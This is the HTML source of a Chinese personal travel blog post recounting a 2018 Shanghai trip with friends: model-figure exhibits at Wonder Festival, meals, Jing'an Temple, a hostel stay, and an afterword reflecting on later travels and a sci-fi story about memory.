&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_162523-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_162523-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_162755-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_162755-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;下面的左、中是眼镜斗犬，我喜欢它的机设，但从来没看过动画；右边不知道是啥，我看底下有“The
iDOLM@STER”字样，所以可能是出自《偶像大师》的机体。&lt;&#x2F;p&gt;
&lt;p&gt;说起来，我以为这个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;WAVE&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;公司是卖电动研磨头的，原来他们也卖模型啊（这是当时的感想。不过现在我也是这感想&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_163134-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_163134-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_163137-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_163137-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_163144-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_163144-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;左图可以清晰地看出部分零件颜色不和谐。这种是发烧友给大路货模型自制的改件。我还在留意模型市场时，改件一般是日本人设计好了在日本买，淘宝上有些人在日本买好了翻模出来在国内买（这也是为什么我得知上海要办&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;WF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;很兴奋&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。这种改件也算&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GK（据说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GK&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;意思是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Garage
Kit，自己在车库里做的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。当初吸引我玩&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GK&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的，一款是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.bilibili.com&#x2F;video&#x2F;BV1S64y1X7mx&#x2F;&quot;&gt;怪猎的麒麟套装雕像&lt;&#x2F;a&gt;，另一款是忘了名字的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;高达改件。&lt;&#x2F;p&gt;
&lt;p&gt;中间是那一年大火游戏的角色。我没玩过，不多说。&lt;&#x2F;p&gt;
&lt;p&gt;右边是什么？我记得是很震撼的模型，太震撼了以至于我要上淘宝上搜，所以拍下了关键字。当然，它是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GK&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;白模，我是不会做的，我只爱看。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_163325-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_163325-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_163354-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_163354-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_163531-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_163531-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;上面就是最后一张相片了。我挑选了绝大部分照片，剩下的一些没放上来的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;23&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年再看不那么有趣的。&lt;&#x2F;p&gt;
&lt;p&gt;本次展会中，我收获了两只熊霸、一尊木色的海洋堂增长天可动塑像（S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也买了一个，看起来真的酷。我今天才知道，这位天王竟然也是竹谷隆之设计的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，以及一件不知道自己为何要买，买回去没穿过几次的猫猫短袖。回去后才发现那短袖的猫貌似是什么在线语言辅导机构的吉祥物，包装里还有代金券——失效了。&lt;&#x2F;p&gt;
&lt;p&gt;最后用仅有的视频结束本章。右边视频里骂人的是路人，不是我，谢谢大家。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;video controls preload=&quot;metadata&quot; style=&quot;width:100%&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;VID_20180406_154038-scaled.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;
    你的浏览器不支持嵌入视频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;VID_20180406_154038-scaled.mp4&quot;&gt;下载&lt;&#x2F;a&gt;下来看。
    视频内容：飞机模型绕着小房子模型转
&lt;&#x2F;video&gt;
&lt;video controls preload=&quot;metadata&quot; style=&quot;width:100%&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;VID_20180406_154713-scaled.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;
    你的浏览器不支持嵌入视频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;VID_20180406_154713-scaled.mp4&quot;&gt;下载&lt;&#x2F;a&gt;下来看。
    视频内容：各种立方体块组成一个元祖高达，投影消失后后面真有个元祖高达的模型
&lt;&#x2F;video&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;2018-04-06_WF后&quot;&gt;2018-04-06 WF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后&lt;&#x2F;h2&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;我记得这趟旅行中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;带我们找了家日本菜吃，但我不记得在哪、哪一天（S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;都忘了，他就记得朝日啤酒的事&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。我所记得的是我们点了个炸猪排，以及波子汽水（右边的视频命名格式是微信的，推测是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;或&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;发给我的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。结合已有线索，我推测是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;6&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号晚上吃的。&lt;&#x2F;p&gt;
&lt;video controls preload=&quot;metadata&quot; style=&quot;width:100%&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;wx_camera_1523015309378-scaled.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;
    你的浏览器不支持嵌入视频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;wx_camera_1523015309378-scaled.mp4&quot;&gt;下载&lt;&#x2F;a&gt;下来看。
    视频内容：摇晃汽水瓶子里的小球
&lt;&#x2F;video&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;九点左右我们到了静安寺，围着寺庙转了一圈没找到入口。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_210814-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_210814-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;没参观成寺庙，只好参观了下寺庙周围的店铺。什么叫人道素菜？韭菜都是无痛收割的？播种时没有侵占蚂蚁的地权？人道烘培坊又是什么？拿乒乓球代替鸡蛋做蛋糕？上海不愧大城市，吃的都是我们乡下人不懂的。&lt;&#x2F;p&gt;
&lt;p&gt;说到这，我想起一笑话，好像就是在这趟旅行里听&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;讲的：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;问，中国最媚日的是哪&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;”我：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;上海&lt;span class=&quot;halt&quot;&gt;？&lt;&#x2F;span&gt;”Z：&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;错，是台湾&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c256-81&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_210508-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_210508-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180406_210626-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180406_210626-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;我在地铁站买了瓶白色包装的“纤维雪碧&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，结论是不好喝。&lt;&#x2F;p&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;晚上，我们在旅馆一人点了杯鸡尾酒。我点的是古巴自由，因为我喜欢朗姆（其实之前只喝过一次，就在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;18&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年年初&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。后来自己一个人也喝过（做蛋糕用的）朗姆，发现我喜欢的是和朋友喝朗姆。&lt;&#x2F;p&gt;
&lt;p&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;告诉我那时我和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还乱入了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;QQ&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;群里打&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSGO&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的语音频道。后来我不打&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSGO&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也不用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;QQ&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了，不知道那些朋友还打不打。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;wx_camera_1523025687704-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;wx_camera_1523025687704-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;2018-04-07&quot;&gt;2018-04-07&lt;&#x2F;h2&gt;
&lt;p&gt;第三天早上，我们在餐厅用掉了送的早餐券。菜单上可选的挺多，我冲着炒蛋选了美式。不瞒各位，我很喜欢吃鸡蛋。&lt;&#x2F;p&gt;
&lt;p&gt;写了这么多，没怎么说过这家旅馆。正好相册里有许多&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;7&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日拍的旅馆，就在这个小节讲讲吧。&lt;&#x2F;p&gt;
&lt;p&gt;根据&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的言论，这家旅馆是我选的。它主营的是那种一间屋子好几张床的青年旅馆，但我们订的是双人间再加一张床（临行前&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还特意叫我打电话问问能不能加床，我觉得人家能这么卖就一定行，最后好像也没打&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;整体环境挺不错的，在一条小巷子里，有点四合院的意味。装修风格融合了古朴和现代：门廊、客房都是铺瓦片的建筑；中间是一汪绿色的池塘，里面养着锦鲤；池塘两面被客房包围，而客房的入口是开放式的，放有可供游客做饭的灶台和冰箱；门廊到餐厅之间的通路是一座跨越池塘的小桥；餐厅是暗色玻璃搭建的现代建筑，吃饭的同时还能看院子里的鱼——和猫。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c256-81&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180407_082311-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180407_082311-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180407_092144-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180407_092144-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c81-256&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180407_083103-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180407_083103-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180407_083517-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180407_083517-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c256-81&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180407_090200-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180407_090200-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180407_090147-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180407_090147-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180407_090236-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180407_090236-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180407_091944-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180407_091944-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;div class=&quot;columns c81-256&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180407_092007-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180407_092007-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180407_092500-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180407_092500-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;576&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;最后，关于这家旅馆我想说的是：Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;昨天告诉我它倒闭了，说我很会选。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;mmexport1523079899594-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;mmexport1523079899594-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180407_082638-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180407_082638-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20180407_103331-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_20180407_103331-optim.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1024&quot;
	width=&quot;576&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;走出旅馆后，Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;想去看安藤忠雄的展。那时我还不知道安藤忠雄是谁，所以没有兴趣，跟着&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在这家北海道大螃蟹前和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;道别了。在地铁安监时，S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;告诉我他听说上海人都不安检的，问我如果他演得像上海人，是否可以跳过安检呢？&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;也可能是某次搭地铁时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;说的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;后记&quot;&gt;后记&lt;&#x2F;h2&gt;
&lt;p&gt;18&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年暑假，我和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;两人第一次到东京自由行。而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;已经一个人去日本玩了好几次了，我特别喜欢他给我看圣地巡礼的照片——虽然我没看过他巡礼的动画。最近让我有巡礼冲动的，是&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;anime-2022&#x2F;#%E3%80%8A%E5%AD%A4%E7%8B%AC%E6%91%87%E6%BB%9A%E3%80%8B&quot;&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;孤独摇滚》&lt;&#x2F;a&gt;，它很多背景根本就是模糊处理的照片。&lt;&#x2F;p&gt;
&lt;p&gt;接着说我和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Z&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的东京行。那次我写了巨大篇幅的日记，拍了海量照片。可惜的是现在这两样记录都不在手头上，只好以后再回顾。&lt;&#x2F;p&gt;
&lt;p&gt;2021&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年六月我第二次去了上海，为了参加&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RISC-V&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中国峰会&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;CCC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上海站。那时本想趁机去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1:1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;自由高达雕像合影，但是因为精神上很紧张、地理位置也很偏，所以放弃了。因此那趟旅行没什么好说的。&lt;&#x2F;p&gt;
&lt;p&gt;同年九月，我费尽周折到了爱丁堡。等我搞明白住处的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wi-Fi&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后，得知&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;S&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;已经被东京大学录取。我由衷地为他感到骄傲，并送上祝贺。从朋友圈看，他这两年仍然在日本到处游玩，但并不喜欢像我一样整理成博文。我想其原因是：不常旅游的人才喜欢写游记。因为这是记住、回忆自己少有的经历的方式。&lt;&#x2F;p&gt;
&lt;p&gt;前一篇博文中提到了&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;sci-fi-masterpieces&#x2F;#%E5%AD%A4%E7%8B%AC%E4%BB%A5%E5%A4%96&quot;&gt;探讨回忆的《雪&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;雪》里设想了用一种生物摄像机（类似蜜蜂）跟拍某个人的几万小时，等那人去世后在墓园里供亲友回顾的殡葬项目。要命的是，因为分子的位置等条件并不完全可控，亲友不能控制下一个片段是何时拍摄的。而且观看多次后，观看过的片段会增加再次出现的概率（也就是说你很难见到没看过的回忆&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，画面还会逐渐变白，出现雪花。&lt;&#x2F;p&gt;
&lt;p&gt;主人公找墓地经理理论这件事，经理告诉他这是正常的，是分子结构的原因，他们没法改进。经理还说自己以前在某个老胶片仓库工作，主要业务是贩卖某地多年前的影像。他的客户总想要夏天的片段——就是那种舔着冰淇凌的夏天日常，但是他找遍了所有胶卷就是找不到，因为每一段影像都飘着（因为老化而产生的）雪花。经理的结论是：旧的影像里，就是没有夏天（鲜活的回忆&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;在我写这段时，墙体传来哪户邻居练小提琴的声音。好消息是：他能拉出连续的音，所以不至于呕哑嘲哳难为听；坏消息是：小提琴独奏的音色很惨，可以算是欧洲二胡了。&lt;&#x2F;p&gt;
